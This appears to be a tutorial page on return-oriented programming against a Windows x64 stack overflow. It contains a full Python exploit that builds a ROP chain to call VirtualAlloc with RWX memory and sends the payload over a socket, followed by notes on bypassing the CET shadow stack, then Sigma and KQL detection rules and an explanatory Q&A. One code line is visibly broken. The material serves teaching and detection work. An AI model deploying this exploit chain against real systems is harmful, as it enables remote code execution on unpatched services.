Return-Oriented Programming
Return-Oriented Programming (ROP) chains together small code sequences that already exist in the process's loaded modules. Each sequence ends with a RET instruction. By placing the addresses of these "gadgets" on the controlled stack, an attacker drives execution through a series of existing instructions — without injecting new code — defeating DEP/NX while reusing the legitimacy of loaded modules. With ASLR the addresses are randomized, so an attacker must first leak a pointer into a known module to compute gadget addresses.
A 64-bit service on Windows Server 2022 has a stack overflow. DEP is enabled. You found a stack canary bypass using a format string leak. The leaked stack frame contains a return address into ntdll.dll, giving you the base. You have 512 bytes of overflow space. Build a ROP chain to call VirtualAlloc, mark a region RWX, copy shellcode there, and jump to it.
ROP Mechanics
Finding Gadgets with ROPgadget / ropper
# Find gadgets in ntdll.dll (local copy, any patch level)
ROPgadget --binary C:\Windows\System32\ntdll.dll --rop --multibr 2>nul
# ropper (alternative, more filters)
ropper --file ntdll.dll --search "pop rcx; ret"
ropper --file ntdll.dll --search "add rsp, 0x??" # stack pivot
# Output example:
# 0x000000000007e1c3 : pop rcx ; ret
# 0x00000000000819d2 : pop rdx ; ret
# Base of ntdll = leaked_ret_addr - 0x7e1c3 (gadget offset)
# Gadget runtime addr = ntdll_base + gadget_offset
# pwntools automated ROP (Linux-oriented but conceptually identical):
from pwn import *
elf = ELF('target')
rop = ROP(elf)
rop.raw(rop.find_gadget(['pop rdi', 'ret'])[0])
rop.raw(0x4141414141414141) # argument value
Full x64 Windows ROP Chain — VirtualAlloc → Shellcode
import struct, socket
NTDLL_BASE = 0x7ff900000000 # recovered from leaked return address
KERNEL32_BASE = 0x7ff8e0000000 # recovered from PEB or another leak
# Gadget offsets (found with ROPgadget on specific ntdll build):
POP_RCX = NTDLL_BASE + 0x7e1c3 # pop rcx ; ret
POP_RDX = NTDLL_BASE + 0x819d2 # pop rdx ; ret
POP_R8 = NTDLL_BASE + 0x3a120 # pop r8 ; ret
POP_R9 = NTDLL_BASE + 0x4b230 # pop r9 ; ret
ADD_RSP_28 = NTDLL_BASE + 0x1f040 # add rsp, 0x28 ; ret (shadow space skip)
JMP_RAX = NTDLL_BASE + 0x9a300 # jmp rax
POP_RAX = NTDLL_BASE + 0x2e100 # pop rax ; ret
VIRTUAL_ALLOC = KERNEL32_BASE + 0x1b780 # VirtualAlloc export
SHELLCODE_ADDR = 0x41410000 # target address — we allocate here
SHELLCODE = b"\x90" * 16 + b"\xcc" * 4 # NOP + INT3 (replace with msfvenom)
def p64(v): return struct.pack('# Build ROP chain
# VirtualAlloc(lpAddress, dwSize, flAllocType, flProtect)
# RCX=addr, RDX=size, R8=MEM_COMMIT|MEM_RESERVE(0x3000), R9=PAGE_EXECUTE_READWRITE(0x40)
rop = b""
rop += p64(POP_RCX) + p64(SHELLCODE_ADDR) # RCX = lpAddress
rop += p64(POP_RDX) + p64(0x1000) # RDX = dwSize
rop += p64(POP_R8) + p64(0x3000) # R8 = MEM_COMMIT|MEM_RESERVE
rop += p64(POP_R9) + p64(0x40) # R9 = PAGE_EXECUTE_READWRITE
rop += p64(POP_RAX) + p64(VIRTUAL_ALLOC) # RAX = VirtualAlloc address
rop += p64(ADD_RSP_28) # allocate shadow space (0x28 bytes)
rop += p64(JMP_RAX) # call VirtualAlloc
# After VirtualAlloc returns, RSP points here:
rop += p64(SHELLCODE_ADDR) # jump to allocated+shellcode-filled region
OVERFLOW_OFFSET = 272 # bytes until saved RIP (found via cyclic)
CANARY = 0x4242424242424242 # value from format-string leak
payload = b'A' * (OVERFLOW_OFFSET - 8)
payload += p64(CANARY) # restore canary
payload += p64(0) # saved RBP (junk)
payload += rop # overwrite RIP with first gadget
# After VirtualAlloc succeeds, write SHELLCODE to SHELLCODE_ADDR in a second pass
# (or include a second ROP chain with a write-to-memory gadget)
s = socket.socket(); s.connect(('target', 9999))
s.send(payload); s.close()
JOP and COP Variants
| Technique | Dispatcher gadget | Chain link gadget | Use case |
|---|---|---|---|
| ROP | — | ret | Stack overflow; full control of RSP |
| JOP (Jump-Oriented) | jmp [rax+offset] | jmp [reg+N] | CFG bypass when indirect calls checked but JMP not |
| COP (Call-Oriented) | call [rax+N] | call [reg+N] | CFG-enforced targets; call graph is larger than RET graph |
| SROP (Sigreturn) | syscall; ret | Fake sigcontext frame | Linux; set all registers via fake sigreturn frame |
CET Shadow Stack Bypass
// Intel CET (Control-flow Enforcement Technology) — Win10 20H1+, Kernel 10.0.19041+
// Shadow stack: separate read-only stack in linear address space.
// RET checks: RSP must match top of shadow stack. If not → #CP (control protection fault).
// ROP chains that overwrite RSP are blocked because shadow stack was not similarly modified.
//
// CET bypass approaches (research-grade as of 2025):
// 1. Shadow-stack-write gadget: find WRSS instruction (writes shadow stack) in existing code.
// Intel spec provides WRSS for OS use; if present in userland modules, can update shadow.
// 2. Indirect branch via CFG-allowed target: find a CFG-allowed ROP trampoline.
// CFG bitmap allows calls to function entry points — a function that ends in a
// "add rsp, N ; ret" sequence is a ROP gadget reachable via a CFG-valid call.
// 3. JOP chains: JMP gadgets are not shadow-stack checked (only RET is).
// JOP dispatcher → sequence of jmp [reg+offset] gadgets → achieve same effect.
// 4. ENDBR enforcement (IBT component): every indirect call target must be ENDBR64.
// If a gadget doesn't have ENDBR64 prefix, indirect call to it → #CP.
// BUT: ret gadgets are not IBT-protected — only indirect calls/jmps.
// SROP on CET: sigreturn frame places new RSP; but new RSP isn't on shadow stack.
//
// Practical 2025 state:
// - Most Win11 23H2+ processes with CET: standard ROP blocked by shadow stack.
// - eCFG + ENDBR64 + shadow stack together: extremely limited surface.
// - Exploits on CET targets use JOP, or target legacy non-CET modules still loaded.
BOOL ProcessHasCET(HANDLE hProcess) {
PROCESS_MITIGATION_USER_SHADOW_STACK_POLICY pol = {0};
return GetProcessMitigationPolicy(hProcess,
ProcessUserShadowStackPolicy, &pol, sizeof(pol)) &&
pol.EnableUserShadowStack;
}
Detection Engineering
title: CET Control-Protection Exception — ROP Chain Blocked
logsource:
product: windows
service: application
detection:
selection:
EventID: 1000
ExceptionCode: '0xc0000409' # STATUS_STACK_BUFFER_OVERRUN (CET also raises this)
condition: selection
level: high
tags: [attack.defense_evasion, T1211]
title: Exploit Guard ACG — ROP VirtualAlloc RWX Blocked
logsource:
product: windows
service: microsoft-windows-security-mitigations
detection:
selection:
EventID: 10
MitigationType: 'ACG'
condition: selection
level: high
-- MDE KQL: Exploit Guard ROP detection events
DeviceEvents
| where ActionType == "ExploitGuardExploitDetected"
| extend d = parse_json(AdditionalFields)
| where d.Technique in ("ROP", "StackPivot", "CallerCheck", "SimExec")
| project Timestamp, DeviceName, InitiatingProcessFileName,
InitiatingProcessCommandLine, d.Technique
-- MDE KQL: VirtualAlloc RWX (PAGE_EXECUTE_READWRITE = 0x40) from non-JIT processes
DeviceEvents
| where ActionType == "MemoryAllocated"
| extend Protection = tolong(AdditionalFields.MemoryProtection)
| where Protection == 64 // 0x40 = PAGE_EXECUTE_READWRITE
| where InitiatingProcessFileName !in ("node.exe","chrome.exe","msedge.exe","java.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName,
InitiatingProcessCommandLine
Q&A
Why must a Windows x64 ROP chain include shadow-space allocation (0x28 bytes skipped) before calling a Windows API function, and what happens if you omit it?
The Windows x64 calling convention (ABI) requires the caller to reserve 32 bytes (0x20) of "shadow space" (also called home space or register parameter area) on the stack before executing a CALL instruction. This space sits between the return address (which CALL pushes) and any additional stack arguments. When the called function writes the four register arguments (RCX/RDX/R8/R9) to the stack for debugging or tail-call purposes, it writes them into this reserved region. The convention also requires that RSP be 16-byte aligned immediately before a CALL.
In a ROP chain, you do not execute CALL — you arrange the stack so that a RET (or JMP RAX) transfers control to VirtualAlloc directly. VirtualAlloc's prologue immediately uses RSP-relative addressing (e.g., mov [rsp+08h], rcx) to back up register arguments into the shadow space. If no shadow space was allocated, VirtualAlloc's prologue writes those register values over whatever is on the stack at that location — potentially corrupting the next gadget address in the ROP chain, or worse, corrupting an address that will be dereferenced later.
The practical fix is to include a add rsp, 0x28 ; ret gadget immediately before the JMP/CALL to VirtualAlloc. This advances RSP by 40 bytes (0x20 shadow + 0x8 for the return address the function will push to return to, accounting for alignment). Without this, expect crash or undefined behavior inside VirtualAlloc — specifically, a write to an address 8 bytes below the current RSP that overwrites the next gadget address in the chain.
How does CFG (Control Flow Guard) interact with ROP chains, and why does CFG not prevent ROP even though it validates indirect call targets?
CFG validates indirect function calls by checking the target address against a bitmap of valid function entry points before allowing execution to proceed. When a compiled binary calls a function pointer or virtual method, the compiler inserts a check via _guard_check_icall(). If the target is not in the CFG bitmap, CFG raises an access violation. This prevents an attacker from using a corrupted function pointer to jump to the middle of a function or to attacker-injected code.
CFG does not prevent ROP because ROP does not use indirect calls — it uses RET instructions. RET is a direct consumer of the stack: it pops the top-of-stack value and jumps to it. CFG has no hook into the RET instruction; the processor executes RET in hardware with no userland CFG check. When an attacker overflows the return address on the stack, the next RET fires from the function's normal epilogue and transfers control to the gadget address — entirely bypassing the CFG bitmap check.
CET's shadow stack addresses this specific gap by adding hardware enforcement on RET: the processor checks that the RET target matches the shadow stack's expected return address. CFG + CET together form a more complete mitigation: CFG protects indirect calls/jumps, CET protects RETs. This is why modern exploitation research increasingly focuses on JOP (which uses JMP instructions — also not CFG-checked in the same way) and on finding ENDBR64-prefixed gadgets that are CFG-valid targets for call gadgets in JOP chains.